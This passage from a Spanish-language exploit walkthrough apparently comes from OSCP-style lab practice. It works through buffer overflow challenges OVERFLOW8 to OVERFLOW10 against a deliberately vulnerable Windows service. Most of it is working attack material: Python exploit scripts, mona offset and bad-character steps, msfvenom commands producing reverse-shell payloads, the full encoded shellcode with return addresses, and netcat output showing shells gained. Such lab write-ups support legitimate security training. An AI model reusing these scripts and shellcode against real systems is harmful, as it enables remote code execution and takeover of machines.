conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW8 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
Realizamos la busqueda de badchars como en el primer reto. Inicialmente encontramos los badchars "\x00\x1d\x2e\xc7\xee".
1
\x00\x1d\x2e\xc7\xee
JMP ESP
Buscamos una instrucción de salto al ESP con mona.
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]└─$ msfvenom -p windows/shell_reverse_tcp EXITFUNC=thread LHOST=192.168.22.1 LPORT=1338 -a x86 --platform windows -f c -b "\x00\x1d\x2e\xc7\xee"Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351(iteration=0)x86/shikata_ga_nai chosen with final size 351Payload size: 351 bytes
Final size of c file: 1500 bytes
unsigned char buf[]="\xba\x2d\xfe\xbd\xed\xda\xc9\xd9\x74\x24\xf4\x5e\x31\xc9\xb1""\x52\x31\x56\x12\x83\xc6\x04\x03\x7b\xf0\x5f\x18\x7f\xe4\x22""\xe3\x7f\xf5\x42\x6d\x9a\xc4\x42\x09\xef\x77\x73\x59\xbd\x7b""\xf8\x0f\x55\x0f\x8c\x87\x5a\xb8\x3b\xfe\x55\x39\x17\xc2\xf4""\xb9\x6a\x17\xd6\x80\xa4\x6a\x17\xc4\xd9\x87\x45\x9d\x96\x3a""\x79\xaa\xe3\x86\xf2\xe0\xe2\x8e\xe7\xb1\x05\xbe\xb6\xca\x5f""\x60\x39\x1e\xd4\x29\x21\x43\xd1\xe0\xda\xb7\xad\xf2\x0a\x86""\x4e\x58\x73\x26\xbd\xa0\xb4\x81\x5e\xd7\xcc\xf1\xe3\xe0\x0b""\x8b\x3f\x64\x8f\x2b\xcb\xde\x6b\xcd\x18\xb8\xf8\xc1\xd5\xce""\xa6\xc5\xe8\x03\xdd\xf2\x61\xa2\x31\x73\x31\x81\x95\xdf\xe1""\xa8\x8c\x85\x44\xd4\xce\x65\x38\x70\x85\x88\x2d\x09\xc4\xc4""\x82\x20\xf6\x14\x8d\x33\x85\x26\x12\xe8\x01\x0b\xdb\x36\xd6""\x6c\xf6\x8f\x48\x93\xf9\xef\x41\x50\xad\xbf\xf9\x71\xce\x2b""\xf9\x7e\x1b\xfb\xa9\xd0\xf4\xbc\x19\x91\xa4\x54\x73\x1e\x9a""\x45\x7c\xf4\xb3\xec\x87\x9f\x7b\x58\x91\x5e\x14\x9b\x9d\x65""\xde\x12\x7b\x0f\x0e\x73\xd4\xb8\xb7\xde\xae\x59\x37\xf5\xcb""\x5a\xb3\xfa\x2c\x14\x34\x76\x3e\xc1\xb4\xcd\x1c\x44\xca\xfb""\x08\x0a\x59\x60\xc8\x45\x42\x3f\x9f\x02\xb4\x36\x75\xbf\xef""\xe0\x6b\x42\x69\xca\x2f\x99\x4a\xd5\xae\x6c\xf6\xf1\xa0\xa8""\xf7\xbd\x94\x64\xae\x6b\x42\xc3\x18\xda\x3c\x9d\xf7\xb4\xa8""\x58\x34\x07\xae\x64\x11\xf1\x4e\xd4\xcc\x44\x71\xd9\x98\x40""\x0a\x07\x39\xae\xc1\x83\x59\x4d\xc3\xf9\xf1\xc8\x86\x43\x9c""\xea\x7d\x87\x99\x68\x77\x78\x5e\x70\xf2\x7d\x1a\x36\xef\x0f""\x33\xd3\x0f\xa3\x34\xf6";
Agregamos nuestro shellcode y NOPs, finalmente calculamos el padding para mantener la longitud de nuestro buffer (2220).
shellcode=("\xba\x2d\xfe\xbd\xed\xda\xc9\xd9\x74\x24\xf4\x5e\x31\xc9\xb1""\x52\x31\x56\x12\x83\xc6\x04\x03\x7b\xf0\x5f\x18\x7f\xe4\x22""\xe3\x7f\xf5\x42\x6d\x9a\xc4\x42\x09\xef\x77\x73\x59\xbd\x7b""\xf8\x0f\x55\x0f\x8c\x87\x5a\xb8\x3b\xfe\x55\x39\x17\xc2\xf4""\xb9\x6a\x17\xd6\x80\xa4\x6a\x17\xc4\xd9\x87\x45\x9d\x96\x3a""\x79\xaa\xe3\x86\xf2\xe0\xe2\x8e\xe7\xb1\x05\xbe\xb6\xca\x5f""\x60\x39\x1e\xd4\x29\x21\x43\xd1\xe0\xda\xb7\xad\xf2\x0a\x86""\x4e\x58\x73\x26\xbd\xa0\xb4\x81\x5e\xd7\xcc\xf1\xe3\xe0\x0b""\x8b\x3f\x64\x8f\x2b\xcb\xde\x6b\xcd\x18\xb8\xf8\xc1\xd5\xce""\xa6\xc5\xe8\x03\xdd\xf2\x61\xa2\x31\x73\x31\x81\x95\xdf\xe1""\xa8\x8c\x85\x44\xd4\xce\x65\x38\x70\x85\x88\x2d\x09\xc4\xc4""\x82\x20\xf6\x14\x8d\x33\x85\x26\x12\xe8\x01\x0b\xdb\x36\xd6""\x6c\xf6\x8f\x48\x93\xf9\xef\x41\x50\xad\xbf\xf9\x71\xce\x2b""\xf9\x7e\x1b\xfb\xa9\xd0\xf4\xbc\x19\x91\xa4\x54\x73\x1e\x9a""\x45\x7c\xf4\xb3\xec\x87\x9f\x7b\x58\x91\x5e\x14\x9b\x9d\x65""\xde\x12\x7b\x0f\x0e\x73\xd4\xb8\xb7\xde\xae\x59\x37\xf5\xcb""\x5a\xb3\xfa\x2c\x14\x34\x76\x3e\xc1\xb4\xcd\x1c\x44\xca\xfb""\x08\x0a\x59\x60\xc8\x45\x42\x3f\x9f\x02\xb4\x36\x75\xbf\xef""\xe0\x6b\x42\x69\xca\x2f\x99\x4a\xd5\xae\x6c\xf6\xf1\xa0\xa8""\xf7\xbd\x94\x64\xae\x6b\x42\xc3\x18\xda\x3c\x9d\xf7\xb4\xa8""\x58\x34\x07\xae\x64\x11\xf1\x4e\xd4\xcc\x44\x71\xd9\x98\x40""\x0a\x07\x39\xae\xc1\x83\x59\x4d\xc3\xf9\xf1\xc8\x86\x43\x9c""\xea\x7d\x87\x99\x68\x77\x78\x5e\x70\xf2\x7d\x1a\x36\xef\x0f""\x33\xd3\x0f\xa3\x34\xf6")eip_ret=pack("<L",0x62501203)nops="\x90"*16padding="C"buff="A"*1786+eip_ret+nops+shellcode+padding*(2220-1786-4-16-351)try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW8 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
Tras ejecutar el script logramos obtener una shell.
1
2
3
4
5
6
7
8
9
10
11
➜ OVERFLOW_8 nc -lnvp 1338Listening on 0.0.0.0 1338Connection received on 192.168.22.128 49164Microsoft Windows [Versin 6.1.7601]Copyright (c)2009 Microsoft Corporation. Reservados todos los derechos.
C:\Users\sckull\Desktop\vulnerable-apps\oscp>echo %username%
echo %username%
sckull
C:\Users\sckull\Desktop\vulnerable-apps\oscp>
Overflow 9
Fuzzing
Realizamos fuzzing al segundo reto utilizando esta vez OVERFLOW9.
Modificamos el script para realizar el envio de este.
1
2
3
4
5
6
7
8
9
10
11
12
13
buff="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2C"try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW9 %s\r\n"%buff)s.close()#log.info("x_x socket.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")
El registro EIP está lleno con el patron enviado asi mismo el registro ESP.
Mona nos muestra el offset con valor de 1514 bytes.
1
2
3
4
5
6
7
8
9
# !mona findmsp -distance 1900[+] Command used:
!mona findmsp -distance 1900[..][+] Examining registers
EIP contains normal pattern : 0x35794234 (offset 1514) ESP (0x0177fa30) points at offset 1518 in normal pattern (length 382) EBP contains normal pattern : 0x79423379 (offset 1510) EBX contains normal pattern : 0x42327942 (offset 1506)
Control EIP
Utilizando la longitud del offset agregamos “B"s para confirmar que el offset es exacto y que tenemos el control del registro EIP, además agregamos un padding para mantener la longitud del buffer (1900).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
eip_ret="B"*4nops=""padding="C"buff="A"*1514+eip_ret+nops+padding*(1900-1514-4)# junk 1514, eip 4, padding 382 = 1900try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW9 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
Tras ejecutar el script vemos que el registro EIP contiene “B"s lo que significa que el offset es exacto, además vemos el registro ESP con el padding (“C"s).
Espacio - Shellcode
Aumentamos el padding para tener asegurado un espacio ‘decente’ para nuestro shellcode, en este caso 120 bytes adicionales, en total tendríamos 502 bytes disponibles.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
eip_ret="B"*4nops=""# 16 bytespadding="C"buff="A"*1514+eip_ret+nops+padding*(1900-1514-4+120)# 502 padding# 1514 junk, 4 eip_ret, padding 502 (shellcode + nops)# total buffer = 2020try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW9 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
El debugger muestra el mismo comportamiento por lo que tomamos la longitud del buffer en 2020 bytes de los cuales 502 bytes serán para el shellcode y los nops (16 bytes).
BadChars
Generamos con mona un array con todos los badchars exeptuando el valor null (\x00).
1
!mona bytearray -cpb "\x00"
Modificamos el script con nuestro array de badchars.
badchars=("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20""\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40""\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60""\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80""\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0""\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0""\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0""\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")eip_ret="B"*4nops=""# 16 bytespadding="C"buff="A"*1514+eip_ret+nops+badchars+padding*(2020-1514-4-255)# 255 badcharstry:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW9 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
Realizamos la busqueda de badchars como en el primer reto. Inicialmente encontramos los badchars "\x00\x04\x3e\x3f\xe1".
1
\x00\x04\x3e\x3f\xe1
JMP ESP
Buscamos una instrucción de salto al ESP con mona.
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]└─$ msfvenom -p windows/shell_reverse_tcp EXITFUNC=thread LHOST=192.168.22.1 LPORT=1338 -a x86 --platform windows -f c -b "\x00\x04\x3e\x3f\xe1"Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351(iteration=0)x86/shikata_ga_nai chosen with final size 351Payload size: 351 bytes
Final size of c file: 1500 bytes
unsigned char buf[]="\xbf\xad\xc1\x09\x76\xdb\xd3\xd9\x74\x24\xf4\x5b\x33\xc9\xb1""\x52\x31\x7b\x12\x83\xeb\xfc\x03\xd6\xcf\xeb\x83\xd4\x38\x69""\x6b\x24\xb9\x0e\xe5\xc1\x88\x0e\x91\x82\xbb\xbe\xd1\xc6\x37""\x34\xb7\xf2\xcc\x38\x10\xf5\x65\xf6\x46\x38\x75\xab\xbb\x5b""\xf5\xb6\xef\xbb\xc4\x78\xe2\xba\x01\x64\x0f\xee\xda\xe2\xa2""\x1e\x6e\xbe\x7e\x95\x3c\x2e\x07\x4a\xf4\x51\x26\xdd\x8e\x0b""\xe8\xdc\x43\x20\xa1\xc6\x80\x0d\x7b\x7d\x72\xf9\x7a\x57\x4a""\x02\xd0\x96\x62\xf1\x28\xdf\x45\xea\x5e\x29\xb6\x97\x58\xee""\xc4\x43\xec\xf4\x6f\x07\x56\xd0\x8e\xc4\x01\x93\x9d\xa1\x46""\xfb\x81\x34\x8a\x70\xbd\xbd\x2d\x56\x37\x85\x09\x72\x13\x5d""\x33\x23\xf9\x30\x4c\x33\xa2\xed\xe8\x38\x4f\xf9\x80\x63\x18""\xce\xa8\x9b\xd8\x58\xba\xe8\xea\xc7\x10\x66\x47\x8f\xbe\x71""\xa8\xba\x07\xed\x57\x45\x78\x24\x9c\x11\x28\x5e\x35\x1a\xa3""\x9e\xba\xcf\x64\xce\x14\xa0\xc4\xbe\xd4\x10\xad\xd4\xda\x4f""\xcd\xd7\x30\xf8\x64\x22\xd3\xc7\xd1\x3a\x22\xa0\x23\x42\x21""\x0a\xad\xa4\x43\x7a\xfb\x7f\xfc\xe3\xa6\x0b\x9d\xec\x7c\x76""\x9d\x67\x73\x87\x50\x80\xfe\x9b\x05\x60\xb5\xc1\x80\x7f\x63""\x6d\x4e\xed\xe8\x6d\x19\x0e\xa7\x3a\x4e\xe0\xbe\xae\x62\x5b""\x69\xcc\x7e\x3d\x52\x54\xa5\xfe\x5d\x55\x28\xba\x79\x45\xf4""\x43\xc6\x31\xa8\x15\x90\xef\x0e\xcc\x52\x59\xd9\xa3\x3c\x0d""\x9c\x8f\xfe\x4b\xa1\xc5\x88\xb3\x10\xb0\xcc\xcc\x9d\x54\xd9""\xb5\xc3\xc4\x26\x6c\x40\xe4\xc4\xa4\xbd\x8d\x50\x2d\x7c\xd0""\x62\x98\x43\xed\xe0\x28\x3c\x0a\xf8\x59\x39\x56\xbe\xb2\x33""\xc7\x2b\xb4\xe0\xe8\x79";
Agregamos nuestro shellcode y NOPs, finalmente calculamos el padding para mantener la longitud de nuestro buffer (2020).
shellcode=("\xbf\xad\xc1\x09\x76\xdb\xd3\xd9\x74\x24\xf4\x5b\x33\xc9\xb1""\x52\x31\x7b\x12\x83\xeb\xfc\x03\xd6\xcf\xeb\x83\xd4\x38\x69""\x6b\x24\xb9\x0e\xe5\xc1\x88\x0e\x91\x82\xbb\xbe\xd1\xc6\x37""\x34\xb7\xf2\xcc\x38\x10\xf5\x65\xf6\x46\x38\x75\xab\xbb\x5b""\xf5\xb6\xef\xbb\xc4\x78\xe2\xba\x01\x64\x0f\xee\xda\xe2\xa2""\x1e\x6e\xbe\x7e\x95\x3c\x2e\x07\x4a\xf4\x51\x26\xdd\x8e\x0b""\xe8\xdc\x43\x20\xa1\xc6\x80\x0d\x7b\x7d\x72\xf9\x7a\x57\x4a""\x02\xd0\x96\x62\xf1\x28\xdf\x45\xea\x5e\x29\xb6\x97\x58\xee""\xc4\x43\xec\xf4\x6f\x07\x56\xd0\x8e\xc4\x01\x93\x9d\xa1\x46""\xfb\x81\x34\x8a\x70\xbd\xbd\x2d\x56\x37\x85\x09\x72\x13\x5d""\x33\x23\xf9\x30\x4c\x33\xa2\xed\xe8\x38\x4f\xf9\x80\x63\x18""\xce\xa8\x9b\xd8\x58\xba\xe8\xea\xc7\x10\x66\x47\x8f\xbe\x71""\xa8\xba\x07\xed\x57\x45\x78\x24\x9c\x11\x28\x5e\x35\x1a\xa3""\x9e\xba\xcf\x64\xce\x14\xa0\xc4\xbe\xd4\x10\xad\xd4\xda\x4f""\xcd\xd7\x30\xf8\x64\x22\xd3\xc7\xd1\x3a\x22\xa0\x23\x42\x21""\x0a\xad\xa4\x43\x7a\xfb\x7f\xfc\xe3\xa6\x0b\x9d\xec\x7c\x76""\x9d\x67\x73\x87\x50\x80\xfe\x9b\x05\x60\xb5\xc1\x80\x7f\x63""\x6d\x4e\xed\xe8\x6d\x19\x0e\xa7\x3a\x4e\xe0\xbe\xae\x62\x5b""\x69\xcc\x7e\x3d\x52\x54\xa5\xfe\x5d\x55\x28\xba\x79\x45\xf4""\x43\xc6\x31\xa8\x15\x90\xef\x0e\xcc\x52\x59\xd9\xa3\x3c\x0d""\x9c\x8f\xfe\x4b\xa1\xc5\x88\xb3\x10\xb0\xcc\xcc\x9d\x54\xd9""\xb5\xc3\xc4\x26\x6c\x40\xe4\xc4\xa4\xbd\x8d\x50\x2d\x7c\xd0""\x62\x98\x43\xed\xe0\x28\x3c\x0a\xf8\x59\x39\x56\xbe\xb2\x33""\xc7\x2b\xb4\xe0\xe8\x79")eip_ret=pack("<L",0x625011d3)nops="\x90"*16padding="C"buff="A"*1514+eip_ret+nops+shellcode+padding*(2020-1514-4-16-351)try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW9 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
Tras ejecutar el script logramos obtener una shell.
1
2
3
4
5
6
7
8
9
10
11
➜ OVERFLOW_9 nc -lnvp 1338Listening on 0.0.0.0 1338Connection received on 192.168.22.128 49172Microsoft Windows [Versin 6.1.7601]Copyright (c)2009 Microsoft Corporation. Reservados todos los derechos.
C:\Users\sckull\Desktop\vulnerable-apps\oscp>echo %username%
echo %username%
sckull
C:\Users\sckull\Desktop\vulnerable-apps\oscp>
Overflow 10
Fuzzing
Realizamos fuzzing al segundo reto utilizando esta vez OVERFLOW10.
Modificamos el script para realizar el envio de este.
1
2
3
4
5
6
7
8
9
10
11
12
13
buff="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW10 %s\r\n"%buff)s.close()#log.info("x_x socket.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")
El registro EIP está lleno con el patron enviado asi mismo el registro ESP.
Mona nos muestra el offset con valor de 537 bytes.
1
2
3
4
5
6
7
8
9
# !mona findmsp -distance 1000[+] Command used:
!mona findmsp -distance 1000[..][+] Examining registers
EIP contains normal pattern : 0x41397241 (offset 537) ESP (0x0182fa30) points at offset 541 in normal pattern (length 459) EBP contains normal pattern : 0x38724137 (offset 533) EBX contains normal pattern : 0x72413672 (offset 529)
Control EIP
Utilizando la longitud del offset agregamos “B"s para confirmar que el offset es exacto y que tenemos el control del registro EIP, además agregamos un padding para mantener la longitud del buffer (1000).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
eip_ret="B"*4nops=""padding="C"buff="A"*537+eip_ret+nops+padding*(1000-537-4)# junk 537, eip 4, padding 459 = 1000try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW10 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
Tras ejecutar el script vemos que el registro EIP contiene “B"s lo que significa que el offset es exacto, además vemos el registro ESP con el padding (“C"s).
Espacio - Shellcode
Aumentamos el padding para tener asegurado un espacio ‘decente’ para nuestro shellcode, en este caso 50 bytes adicionales, en total tendríamos 509 bytes disponibles.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
eip_ret="B"*4nops=""# 16 bytespadding="C"buff="A"*537+eip_ret+nops+padding*(1000-537-4+50)# 509 padding# 537 junk, 4 eip_ret, padding 509 (shellcode + nops)# total buffer = 1050try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW10 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
El debugger muestra el mismo comportamiento por lo que tomamos la longitud del buffer en 1050 bytes de los cuales 509 bytes serán para el shellcode y los nops (16 bytes).
BadChars
Generamos con mona un array con todos los badchars exeptuando el valor null (\x00).
1
!mona bytearray -cpb "\x00"
Modificamos el script con nuestro array de badchars.
badchars=("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20""\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40""\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60""\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80""\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0""\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9